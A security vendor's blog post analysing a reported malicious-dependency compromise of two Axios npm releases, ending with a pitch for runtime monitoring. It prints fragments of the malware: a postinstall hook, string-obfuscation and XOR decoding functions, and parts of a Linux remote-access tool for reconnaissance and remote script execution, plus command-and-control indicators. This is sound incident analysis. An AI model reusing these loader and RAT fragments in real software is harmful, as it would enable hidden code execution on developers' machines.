Multiple Lines
Multiple LinesMultiple Lines
Up Arrow
Back to Blog
Security

Axios Wasn’t Just Compromised. It Was Weaponized.

By 
Roi Abitboul

When most people hear about a supply chain attack in npm, they picture a familiar pattern. A malicious package gets introduced, runs during installation, grabs environment variables, steals tokens, maybe copies cloud credentials from a developer laptop or CI runner, and disappears. Seriously, yes. Dangerous, absolutely. But still relatively narrow in intent. The package acts like a fast smash-and-grab.

The recent Axios incident appears to be something very different.

Based on the public technical analysis available so far, the affected Axios releases were v1.14.1 and v0.30.4. What made those versions dangerous was not that Axios suddenly became malicious during normal application runtime. The real issue was the addition of a new dependency: plain-crypto-js. In the reported dependency block, Axios pulled in plain-crypto-js: ^4.2.1, alongside otherwise normal-looking packages such as follow-redirects, form-data, and proxy-from-env. That detail is the key pivot in the entire story. The malicious behavior appears to have entered through the dependency tree itself.

That alone would already be serious. But what makes this incident stand out is what the dependency reportedly did next.

According to the public write-up, plain-crypto-js included an npm lifecycle hook that executed automatically on installation:

{
  "scripts": {
    "postinstall": "node setup.js"
  }
}

That single line is what turns a dependency issue into an execution event. A developer does not need to import the package. A service does not need to call any function. The act of running npm install or npm ci is enough to trigger code execution. That means the dangerous moment is not necessarily when an application starts in production. The dangerous moment is the installation itself, when the package manager runs a lifecycle script with the privileges of the user or machine performing the install.

This is where the Axios incident stops looking like a routine npm compromise and starts looking like a real malware campaign.

The reported setup.js was not described as a simple script that scraped a few secrets and exited. It was described as an obfuscated loader using multiple layers of transformation, including reversed strings, altered Base64 padding, and XOR-based decoding logic. 

One example from the public analysis is this function, which reverses the encoded string, replaces the “_” characters with “=”, then base64 encodes the string.

const _trans_2 = function(x, r) {
    let E = x.split("").reverse().join("").replaceAll("_", "=");
    let S = Buffer.from(E, "base64").toString("utf8");
    return _trans_1(S, r);
}

The other function is performing the XOR encryption on string x using string r as a key.

const _trans_1 = function(x, r) {
    const E = r.split("").map(Number);
    return x.split("").map(((x, r) => {
        const S = x.charCodeAt(0);
        const a = E[7*r*r%10];
        return String.fromCharCode(S ^ a ^ 333);
    })).join("");
}

This is not the kind of code you write for a disposable grab-and-go secret stealer. It is the kind of code you write when you expect defenders, security tools, and researchers to inspect your payload and you want to make that inspection harder. Even before the second stage arrives, the initial loader already signals planning, anti-analysis intent, and a level of operational maturity that should get people’s attention.

Once deobfuscated, the reported behavior becomes even more concerning. The loader was said to detect the victim’s operating system and retrieve a platform-specific payload from command-and-control infrastructure. The public write-up ties the campaign to sfrclak.com, 142.11.206.73, port 8000, and the path /6202033. It reportedly distinguished between macOS, Windows, and Linux, then downloaded different second-stage components accordingly. It also performed cleanup actions such as deleting its own setup file and modifying package metadata to make forensic analysis more difficult after execution.

That is the moment where the story changes category. This is no longer just “a malicious dependency in npm.” If the public analysis is accurate, this is a dependency being used as a cross-platform malware launcher.

The Linux payload is especially revealing. The write-up describes it as a Python RAT that performs system reconnaissance, process enumeration, and remote code execution. One of the examples shown was a function collecting hardware and system information:

def get_system_info():
    manufacturer = open("/sys/class/dmi/id/sys_vendor", "r").read().strip()
    product_name = open("/sys/class/dmi/id/product_name", "r").read().strip()
    boot_time = get_boot_time()
    install_time = get_installation_time()
    return manufacturer, product_name

Another example walked /proc to enumerate processes, parent PIDs, users, and command lines, even marking the malware’s own process so the attacker could identify it quickly:

def get_process_list():
    process_list = []
    current_pid = os.getpid()

    for pid in os.listdir("/proc"):
        if pid.isdigit():
            if int(pid) == current_pid:
                process_list.append((pid, ppid, username, start_time, "*" + cmdline))

And then there is the remote execution logic itself:

def do_action_scpt(scpt, param):
    if not scpt:
        return do_run_scpt(param)

    payload = base64.b64decode(scpt).decode("utf-8", errors="strict")
    result = subprocess.run(
        ["python3", "-c", payload] + shlex.split(param),
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True
    )

That is not a one-time exfiltration trick. That is an execution framework. If that reporting holds, then any Linux machine that performed the malicious install and had the necessary runtime conditions could potentially become an actively controlled host.

The same analysis describes a broader command-and-control model built around initial reconnaissance and periodic follow-up beacons. The malware reportedly sent a first-stage inventory message containing system and filesystem information, followed by recurring updates every 60 seconds with hostname, username, OS details, timestamps, hardware information, and process lists. It also allegedly supported command types like kill, peinject, runscript, and rundir. Those names tell their own story. This was not just about taking whatever secrets happened to be lying around. This was about establishing control, exploring the machine, running follow-on code, and maintaining an operational foothold.

That is the crucial distinction. Many package compromises in the npm ecosystem are framed as credential theft. A malicious dependency lands, steals .ssh keys, reads .npmrc, collects cloud tokens, exfiltrates environment variables, and exits. That is already serious enough. But this Axios incident appears to go beyond simple theft. It appears to use the software supply chain as a delivery channel for real malware, with multi-stage execution, operating-system-specific payloads, command-and-control communication, reconnaissance, and remote code execution.

That difference matters because it changes the defender’s mental model. The first question is not only whether a project uses Axios. The first question is whether any machine actually installed Axios v1.14.1 or v0.30.4, and whether that install pulled plain-crypto-js v4.2.1 into the dependency tree. The second question is where that happened: on a developer laptop, in CI, on a build runner, in a staging job, or somewhere inside a cluster. A production Node.js application that simply runs with Axios already baked into the image is not the same thing as a machine that executed npm install on one of those affected versions. The risk event is the install path. That is where the payload fires.

And that is what makes this incident so important. It was not just a compromised library. It was not just a dependency that harvested secrets. If the public analysis is directionally right, this was a case where a trusted dependency path was turned into a malware deployment mechanism. That is a more serious category of event, and it should change the way the industry thinks about package installation. npm install is not a harmless technical step. In the wrong hands, it is privileged code execution at scale.

There is also a broader lesson here for the way the industry thinks about open source risk. For years, the conversation has been dominated by CVEs. Is there a known vulnerability? Is there a fix? Is the vulnerable function reachable? Is the package exploitable at runtime? Those are valid questions, but they are not the right first questions for an incident like this. This was not a legitimate package containing a bug. This was a malicious capability being inserted into the delivery path itself. That is not classic vulnerability management. That is trust exploitation.

And trust exploitation is often more dangerous than a normal software flaw, because it arrives disguised as ordinary engineering activity. No one panics when a developer runs npm install. No one instinctively treats dependency resolution as an attack event. That is exactly why it is such an effective place to operate.

The Raven angle

What this incident ultimately reinforces is the importance of runtime visibility.

A dependency graph can tell you what was included. A package scanner can tell you what version was pulled. But once malicious code begins to operate inside a real environment, the decisive question becomes behavioral: what is it actually doing?

That is where runtime becomes essential. The moment code starts executing, it has to reveal itself through actions. It has to make calls, spawn processes, reach out, enumerate, move, or execute in ways that either align with the application’s purpose or clearly do not. That is the point where intent stops being theoretical and becomes observable.

Incidents like this are a reminder that the software supply chain is no longer just a packaging problem. It is also a runtime problem, because sooner or later malicious code has to act. And when it does, the ability to observe and understand runtime behavior is what gives defenders a chance to respond with precision.

Share this post
Yellow Lines

Get a Demo

Meeting Booked!
See you soon!
Until we meet, you might want to check out our blog
Oops! Something went wrong while submitting the form.
Ellipse
Security

7 Reasons Why Attackers Shifted Towards Cloud Applications

Attackers are increasingly shifting their focus from infrastructure to applications, exploiting vulnerabilities that traditional security measures cannot protect.
Read more
Security

The Critical Need for Cloud Runtime Application Security

While shift left strategies are essential for building secure applications, they are not sufficient on their own. Cloud runtime application security, or protect right, is crucial especially as attackers are increasingly shifting their focus to applications.
Read more
Security

What are CVE-Less Threats?

What CVE-less threats are, why they are becoming more prevalent, and how organizations can protect themselves against these insidious risks.
Read more
Yellow Lines